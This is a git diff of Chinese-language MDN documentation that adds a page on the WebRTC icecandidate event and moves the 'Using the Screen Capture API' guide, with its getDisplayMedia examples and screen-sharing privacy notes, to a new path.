- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(42)}}
- {{CompatChrome(41)}}[1]
{{CompatVersionUnknown}}{{CompatGeckoDesktop(39)}}
- 34[1]
{{CompatNo}} -

29
- 28[1]

-
{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] 此功能是在首选项后面实现的。

- -

See also

- - diff --git a/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html new file mode 100644 index 0000000000..38fc5c1920 --- /dev/null +++ b/files/zh-cn/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -0,0 +1,135 @@ +--- +title: 'RTCPeerConnection: icecandidate event' +slug: Web/Events/icecandidate +translation_of: Web/API/RTCPeerConnection/icecandidate_event +--- +

{{SeeCompatTable}}

+ +

当 {{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.setLocalDescription()")}}方法更改本地描述之后,该{{domxref("RTCPeerConnection")}}会抛出icecandidate事件。该事件的监听器需要将更改后的描述信息传送给远端{{domxref("RTCPeerConnection")}},以更新远端的备选源。

+ +

使用指南

+ +

icecandidate 的类型为 {{domxref("RTCPeerIceCandidateEvent")}}, 在以下三种情况下会触发该事件:

+ +

分享新的源

+ +

触发icecandidate事件的首要原因:当获得新的源之后,需要将该源的信息发送给远端信号服务器,并分发至其他端的{{domxref("RTCPeerConnection")}}。其他{{domxref("RTCPeerConnection")}}通过{{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}方法将新{{domxref("RTCPeerCandidateIceEvent.candidate", "candidate")}} 中携带的信息,将新的源描述信息添加进它的备选池中;

+ +
rtcPeerConnection.onicecandidate = (event) => {
+  if (event.candidate) {
+    sendCandidateToRemotePeer(event.candidate)
+  }
+}
+
+ + + +

概述

+ +
+
规范
+
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}
+
接口
+
{{domxref("RTCPeerConnectionIceEvent")}}
+
事件冒泡
+
+
能否取消默认
+
+
事件目标
+
{{domxref("RTCPeerConnection")}}
+
默认行为
+
+
+ +

属性

+ +

属性继承自{{domxref("RTCPeerConnectionIceEvent")}}.

+ +

方法

+ +

方法继承自 {{domxref("RTCPeerConnectionIceEvent")}}.

+ +

相关事件

+ + + +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{ SpecName('WebRTC 1.0', '#event-mediastream-icecandidate', 'icecandidate') }}{{Spec2('WebRTC 1.0')}}
+ +

兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{CompatVersionUnknown}}{{ CompatVersionUnknown }}{{ CompatNo() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特性AndroidChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参阅

+ + diff --git a/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html new file mode 100644 index 0000000000..ff32263241 --- /dev/null +++ b/files/zh-cn/web/api/screen_capture_api/using_screen_capture/index.html @@ -0,0 +1,355 @@ +--- +title: 使用屏幕捕获API +slug: Web/API/Screen_Capture_API/使用屏幕捕获API +tags: + - API + - 屏幕捕获 + - 捕获 +translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture +--- +

{{DefaultAPISidebar("使用屏幕捕获API")}}

+ +

在这篇文章中,我们将研究如何使用屏幕捕获API和它的{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}方法来捕获部分或全部屏幕进行流媒体传输,通过WebRTC录制或分享。

+ +
+

Note: It may be useful to note that recent versions of the WebRTC adapter.js shim include implementations of getDisplayMedia() to enable screen sharing on browsers that support it but do not implement the current standard API. This works with at least Chrome, Edge, and Firefox.

+
+ +

捕捉屏幕内容

+ +

Capturing screen contents as a live {{domxref("MediaStream")}} is initiated by calling {{domxref("MediaDevices.getDisplayMedia", "navigator.mediaDevices.getDisplayMedia()")}}, which returns a promise that resolves to a stream containing the live screen contents.

+ +
+
开始屏幕捕捉: 使用async/await 风格
+ +
async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}
+ +

You can write this code either using an asynchronous function and the await operator, as shown above, or using the {{jsxref("Promise")}} directly, as seen below.

+ +
+
开始屏幕捕获: 使用Promise 风格 + +
function startCapture(displayMediaOptions) {
+ let captureStream = null;
+
+ return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
+    .catch(err => { console.error("Error:" + err); return null; });
+}
+ +

Either way, the {{Glossary("user agent")}} responds by presenting a user interface that prompts the user to choose the screen area to share. Both of these implementations of startCapture() return the {{domxref("MediaStream")}} containing the captured display imagery.

+ +

See {{anch("Options and constraints")}}, below, for more on both how to specify the type of surface you want as well as other ways to adjust the resulting stream.

+ +
+
Example of a window allowing the user to select a display surface to capture
+ +

Screenshot of Chrome's window for picking a source surface

+
+ +

You can then use the captured stream, captureStream, for anything that accepts a stream as input. The {{anch("Examples", "examples")}} below show a few ways to make use of the stream.

+ +

Visible vs logical display surfaces

+ +

For the purposes of the Screen Capture API, a display surface is any content object that can be selected by the API for sharing purposes. Sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).

+ +

There are two types of display surface. A visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen.

+ +

A logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. How these are handled by the Screen Capture API varies. Generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. This is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.

+ +

A user agent might allow the capture of the entire content of an obscured window after gaining permission from the user to do so. In this case, the user agent may include the obscured content, either by getting the current contents of the hidden portion of the window or by presenting the most-recently-visible contents if the current contents are not available.

+ +

Options and constraints

+ +

The constraints object passed into {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is a {{domxref("DisplayMediaStreamConstraints")}} object which is used to configuring the resulting stream.

+ +
+

Note: Unlike most uses of constraints in media APIs, here it's solely used to define the stream configuration, and not to filter the available choices.

+
+ +

There are three new constraints added to MediaTrackConstraints (as well as to {{domxref("MediaTrackSupportedConstraints")}} and {{domxref("MediaTrackSettings")}}) for configuring a screen capture stream:

+ +
+
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
+
+

Indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. The possible values are:

+ +
+
always
+
The mouse cursor should always be captured in the generated stream.
+
motion
+
The cursor should only be visible while moving, and, at the discretion of the {{Glossary("user agent")}}, for a brief time before after moving. Then the cursor is removed from the stream.
+
never
+
The cursor should never be visible in the generated stream.
+
+
+
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
+
A Boolean which if true indicates that the capture should include offscreen areas of the source, if there are any.
+
+ +

None of the constraints are applied in any way until after the content to capture has been selected. The contraints alter what you see in the resulting stream.

+ +

For example, if you specify a {{domxref("MediaTrackConstraints.width", "width")}} constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself.

+ +
+

Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that web applications can't force the user to share specific content by restricting the source list until only one item is left.

+
+ +

While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place.

+ +
+

Note: For privacy and security reasons, screen sharing sources are not enumerable using {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. Related to this, the {{event("devicechange")}} event is never sent when there are changes to the sources available for getDisplayMedia().

+
+ +

Capturing shared audio

+ +

{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is most commonly used to capture video of a user's screen (or parts thereof). However, {{Glossary("user agent", "user agents")}} may allow the capture of audio along with the video content. The source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above).

+ +

Before starting a project that will require sharing of audio, be sure to check the {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} to see if the browsers you wish compaibility with have support for audio in captured screen streams.

+ +

To request that the screen be shared with included audio, the options passed into getDisplayMedia() might look like this:

+ +
const gdmOptions = {
+  video: true,
+  audio: true
+}
+
+ +

This allows the user total freedom to select whatever they want, within the limits of what the user agent supports. This could be refined further by specifying additional information for each of audio and video:

+ +
const gdmOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: {
+    echoCancellation: true,
+    noiseSuppression: true,
+    sampleRate: 44100
+  }
+}
+
+ +

In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz.

+ +

Capturing audio is always optional, and even when web content requests a stream with both audio and video, the returned {{domxref("MediaStream")}} may still have only one video track, with no audio.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

使用捕获的数据流

+ +

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

+ +

安全

+ +

As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

+ +

潜在的风险

+ +

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

+ +

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

+ +

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

+ +

Authorizing capture of display contents

+ +

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

+
+
+ +

示例

+ +

Simple screen capture

+ +

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

+ +

JavaScript

+ +

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

+ +
Setup
+ +

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

+ +

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

+ +
+

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

+
+ +

Finally, event listeners are established to detect user clicks on the start and stop buttons.

+ +
const videoElem = document.getElementById("video");
+const logElem = document.getElementById("log");
+const startElem = document.getElementById("start");
+const stopElem = document.getElementById("stop");
+
+// Options for getDisplayMedia()
+
+var displayMediaOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: false
+};
+
+// Set event listeners for the start and stop buttons
+startElem.addEventListener("click", function(evt) {
+  startCapture();
+}, false);
+
+stopElem.addEventListener("click", function(evt) {
+  stopCapture();
+}, false);
+ +
Logging content
+ +

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

+ +
console.log = msg => logElem.innerHTML += `${msg}<br>`;
+console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
+console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
+console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
+ +

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

+ +
Starting display capture
+ +

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

+ +
async function startCapture() {
+  logElem.innerHTML = "";
+
+  try {
+    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+    dumpOptionsInfo();
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+}
+ +

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

+ +

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

+ +

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

+ +

If any of that fails, the catch() clause outputs an error message to the log box.

+ +
Stopping display capture
+ +

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

+ +
function stopCapture(evt) {
+  let tracks = videoElem.srcObject.getTracks();
+
+  tracks.forEach(track => track.stop());
+  videoElem.srcObject = null;
+}
+ +
Dumping configuration information
+ +

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the constraints that were placed upon the stream when it was created.

+ +
function dumpOptionsInfo() {
+  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
+
+  console.info("Track settings:");
+  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
+  console.info("Track constraints:");
+  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
+}
+ +

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currently in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

+ +

HTML

+ +

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

+ +
    +
+ +
<p>This example shows you the contents of the selected part of your display.
+Click the Start Capture button to begin.</p>
+
+<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
+
+<video id="video" autoplay></video>
+<br>
+
+<strong>Log:</strong>
+<br>
+<pre id="log"></pre>
+ +

The key parts of the HTML are:

+ +
    +
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
  2. +
  3. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
  4. +
  5. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
  6. +
  7. A {{HTMLElement("pre")}} block into which logged text is placed by the intercepted {{domxref("Console")}}method.
  8. +
+ +

CSS

+ +

The CSS is entirely cosmetic in this example. The video is given a border, and its width is set to occupy nearly the entire available horizontal space (width: 98%). {{cssxref("max-width")}} is set to 860px to set an absolute upper limit on the video's size,

+ +

The error, warn, and info classes are used to style the corresponding console output types.

+ +
#video {
+  border: 1px solid #999;
+  width: 98%;
+  max-width: 860px;
+}
+
+.error {
+  color: red;
+}
+
+.warn {
+  color: orange;
+}
+
+.info {
+  color: darkgreen;
+}
+ +

Result

+ +

The final product looks like this. If your browser supports Screen Capture API, clicking "Start Capture" will present the {{Glossary("user agent", "user agent's")}} interface for selecting a screen, window, or tab to share.

+ +

{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

+ +

安全

+ +

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

+ +

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

+ +
Feature-Policy: display-capture 'self'
+ +

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

+ +
<iframe src="https://mycode.example.net/etc" allow="display-capture">
+</iframe>
+
+ +

相关链接

+ + +
diff --git "a/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" "b/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" deleted file mode 100644 index ff32263241..0000000000 --- "a/files/zh-cn/web/api/screen_capture_api/\344\275\277\347\224\250\345\261\217\345\271\225\346\215\225\350\216\267api/index.html" +++ /dev/null @@ -1,355 +0,0 @@ ---- -title: 使用屏幕捕获API -slug: Web/API/Screen_Capture_API/使用屏幕捕获API -tags: - - API - - 屏幕捕获 - - 捕获 -translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture ---- -

{{DefaultAPISidebar("使用屏幕捕获API")}}

- -

在这篇文章中,我们将研究如何使用屏幕捕获API和它的{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}方法来捕获部分或全部屏幕进行流媒体传输,通过WebRTC录制或分享。

- -
-

Note: It may be useful to note that recent versions of the WebRTC adapter.js shim include implementations of getDisplayMedia() to enable screen sharing on browsers that support it but do not implement the current standard API. This works with at least Chrome, Edge, and Firefox.

-
- -

捕捉屏幕内容

- -

Capturing screen contents as a live {{domxref("MediaStream")}} is initiated by calling {{domxref("MediaDevices.getDisplayMedia", "navigator.mediaDevices.getDisplayMedia()")}}, which returns a promise that resolves to a stream containing the live screen contents.

- -
-
开始屏幕捕捉: 使用async/await 风格
- -
async function startCapture(displayMediaOptions) {
-  let captureStream = null;
-
-  try {
-    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
-  } catch(err) {
-    console.error("Error: " + err);
-  }
-  return captureStream;
-}
- -

You can write this code either using an asynchronous function and the await operator, as shown above, or using the {{jsxref("Promise")}} directly, as seen below.

- -
-
开始屏幕捕获: 使用Promise 风格 - -
function startCapture(displayMediaOptions) {
- let captureStream = null;
-
- return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
-    .catch(err => { console.error("Error:" + err); return null; });
-}
- -

Either way, the {{Glossary("user agent")}} responds by presenting a user interface that prompts the user to choose the screen area to share. Both of these implementations of startCapture() return the {{domxref("MediaStream")}} containing the captured display imagery.

- -

See {{anch("Options and constraints")}}, below, for more on both how to specify the type of surface you want as well as other ways to adjust the resulting stream.

- -
-
Example of a window allowing the user to select a display surface to capture
- -

Screenshot of Chrome's window for picking a source surface

-
- -

You can then use the captured stream, captureStream, for anything that accepts a stream as input. The {{anch("Examples", "examples")}} below show a few ways to make use of the stream.

- -

Visible vs logical display surfaces

- -

For the purposes of the Screen Capture API, a display surface is any content object that can be selected by the API for sharing purposes. Sharing surfaces include the contents of a browser tab, a complete window, all of the applications of a window combined into a single surface, and a monitor (or group of monitors combined together into one surface).

- -

There are two types of display surface. A visible display surface is a surface which is entirely visible on the screen, such as the frontmost window or tab, or the entire screen.

- -

A logical display surface is one which is in part or completely obscured, either by being overlapped by another object to some extent, or by being entirely hidden or offscreen. How these are handled by the Screen Capture API varies. Generally, the browser will provide an image which obscures the hidden portion of the logical display surface in some way, such as by blurring or replacing with a color or pattern. This is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.

- -

A user agent might allow the capture of the entire content of an obscured window after gaining permission from the user to do so. In this case, the user agent may include the obscured content, either by getting the current contents of the hidden portion of the window or by presenting the most-recently-visible contents if the current contents are not available.

- -

Options and constraints

- -

The constraints object passed into {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is a {{domxref("DisplayMediaStreamConstraints")}} object which is used to configuring the resulting stream.

- -
-

Note: Unlike most uses of constraints in media APIs, here it's solely used to define the stream configuration, and not to filter the available choices.

-
- -

There are three new constraints added to MediaTrackConstraints (as well as to {{domxref("MediaTrackSupportedConstraints")}} and {{domxref("MediaTrackSettings")}}) for configuring a screen capture stream:

- -
-
{{domxref("MediaTrackConstraints.cursor", "cursor")}}
-
-

Indicates whether or not to capture the mouse cursor, and if so, whether to do so all the time or only while the mouse is in motion. The possible values are:

- -
-
always
-
The mouse cursor should always be captured in the generated stream.
-
motion
-
The cursor should only be visible while moving, and, at the discretion of the {{Glossary("user agent")}}, for a brief time before after moving. Then the cursor is removed from the stream.
-
never
-
The cursor should never be visible in the generated stream.
-
-
-
{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}
-
A Boolean which if true indicates that the capture should include offscreen areas of the source, if there are any.
-
- -

None of the constraints are applied in any way until after the content to capture has been selected. The contraints alter what you see in the resulting stream.

- -

For example, if you specify a {{domxref("MediaTrackConstraints.width", "width")}} constraint for the video, it's applied by scaling the video after the user selects the area to share. It doesn't establish a restriction on the size of the source itself.

- -
-

Note: Constraints never cause changes to the list of sources available for capture by the Screen Sharing API. This ensures that web applications can't force the user to share specific content by restricting the source list until only one item is left.

-
- -

While display capture is in effect, the machine which is sharing screen contents will display some form of indicator so the user is aware that sharing is taking place.

- -
-

Note: For privacy and security reasons, screen sharing sources are not enumerable using {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. Related to this, the {{event("devicechange")}} event is never sent when there are changes to the sources available for getDisplayMedia().

-
- -

Capturing shared audio

- -

{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} is most commonly used to capture video of a user's screen (or parts thereof). However, {{Glossary("user agent", "user agents")}} may allow the capture of audio along with the video content. The source of this audio might be the selected window, the entire computer's audio system, or the user's microphone (or a combination of all of the above).

- -

Before starting a project that will require sharing of audio, be sure to check the {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} to see if the browsers you wish compaibility with have support for audio in captured screen streams.

- -

To request that the screen be shared with included audio, the options passed into getDisplayMedia() might look like this:

- -
const gdmOptions = {
-  video: true,
-  audio: true
-}
-
- -

This allows the user total freedom to select whatever they want, within the limits of what the user agent supports. This could be refined further by specifying additional information for each of audio and video:

- -
const gdmOptions = {
-  video: {
-    cursor: "always"
-  },
-  audio: {
-    echoCancellation: true,
-    noiseSuppression: true,
-    sampleRate: 44100
-  }
-}
-
- -

In this example the cursor will always be visible in the capture, and the audio track should ideally have noise suppression and echo cancellation features enabled, as well as an ideal audio sample rate of 44.1kHz.

- -

Capturing audio is always optional, and even when web content requests a stream with both audio and video, the returned {{domxref("MediaStream")}} may still have only one video track, with no audio.

- -
-

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

-
- -

使用捕获的数据流

- -

The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when getDisplayMedia() was called.

- -

安全

- -

As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.

- -

潜在的风险

- -

Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.

- -

For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.

- -

User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.

- -

Authorizing capture of display contents

- -

Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.

-
-
- -

示例

- -

Simple screen capture

- -

In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.

- -

JavaScript

- -

There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.

- -
Setup
- -

First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.

- -

The object displayMediaOptions contains the {{domxref("MediaStreamConstraints")}} to pass into getDisplayMedia(); here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to always, indicating that the mouse cursor should always be included in the captured media.

- -
-

Note: Some properties are not widely implemented and might not be used by the engine. cursor, for example, has limited support.

-
- -

Finally, event listeners are established to detect user clicks on the start and stop buttons.

- -
const videoElem = document.getElementById("video");
-const logElem = document.getElementById("log");
-const startElem = document.getElementById("start");
-const stopElem = document.getElementById("stop");
-
-// Options for getDisplayMedia()
-
-var displayMediaOptions = {
-  video: {
-    cursor: "always"
-  },
-  audio: false
-};
-
-// Set event listeners for the start and stop buttons
-startElem.addEventListener("click", function(evt) {
-  startCapture();
-}, false);
-
-stopElem.addEventListener("click", function(evt) {
-  stopCapture();
-}, false);
- -
Logging content
- -

To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is log.

- -
console.log = msg => logElem.innerHTML += `${msg}<br>`;
-console.error = msg => logElem.innerHTML += `<span class="error">${msg}</span><br>`;
-console.warn = msg => logElem.innerHTML += `<span class="warn">${msg}<span><br>`;
-console.info = msg => logElem.innerHTML += `<span class="info">${msg}</span><br>`;
- -

This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.

- -
Starting display capture
- -

The startCapture() method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. startCapture() is called when the "Start Capture" button is clicked.

- -
async function startCapture() {
-  logElem.innerHTML = "";
-
-  try {
-    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
-    dumpOptionsInfo();
-  } catch(err) {
-    console.error("Error: " + err);
-  }
-}
- -

After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, startCapture() calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by displayMediaOptions. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by getDisplayMedia() resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.

- -

The stream is connected to the {{HTMLElement("video")}} element by storing the returned MediaStream into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.

- -

The dumpOptionsInfo() function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.

- -

If any of that fails, the catch() clause outputs an error message to the log box.

- -
Stopping display capture
- -

The stopCapture() method is called when the "Stop Capture" button is clicked. It stops the stream by getting its track list using {{domxref("MediaStream.getTracks()")}}, then calling each track's {domxref("MediaStreamTrack.stop, "stop()")}} method. Once that's done, srcObject is set to null to make sure it's understood by anyone interested that there's no stream connected.

- -
function stopCapture(evt) {
-  let tracks = videoElem.srcObject.getTracks();
-
-  tracks.forEach(track => track.stop());
-  videoElem.srcObject = null;
-}
- -
Dumping configuration information
- -

For informational purposes, the startCapture() method shown above calls a method named dumpOptions(), which outputs the current track settings as well as the constraints that were placed upon the stream when it was created.

- -
function dumpOptionsInfo() {
-  const videoTrack = videoElem.srcObject.getVideoTracks()[0];
-
-  console.info("Track settings:");
-  console.info(JSON.stringify(videoTrack.getSettings(), null, 2));
-  console.info("Track constraints:");
-  console.info(JSON.stringify(videoTrack.getConstraints(), null, 2));
-}
- -

The track list is obtained by calling {{domxref("MediaStream.getVideoTracks", "getVideoTracks()")}} on the capture'd screen's {{domxref("MediaStream")}}. The settings currently in effect are obtained using {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} and the established constraints are gotten with {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}

- -

HTML

- -

The HTML starts with a simple introductory paragraph, then gets into the meat of things.

- -
    -
- -
<p>This example shows you the contents of the selected part of your display.
-Click the Start Capture button to begin.</p>
-
-<p><button id="start">Start Capture</button>&nbsp;<button id="stop">Stop Capture</button></p>
-
-<video id="video" autoplay></video>
-<br>
-
-<strong>Log:</strong>
-<br>
-<pre id="log"></pre>
- -

The key parts of the HTML are:

- -
    -
  1. A {{HTMLElement("button")}} labeled "Start Capture" which, when clicked, calls the startCapture() function to request access to, and begin capturing, screen contents.
  2. -
  3. A second button, "Stop Capture", which upon being clicked calls stopCapture() to terminate capture of screen contents.
  4. -
  5. A {{HTMLElement("video")}} into which the captured screen contents are streamed.
  6. -
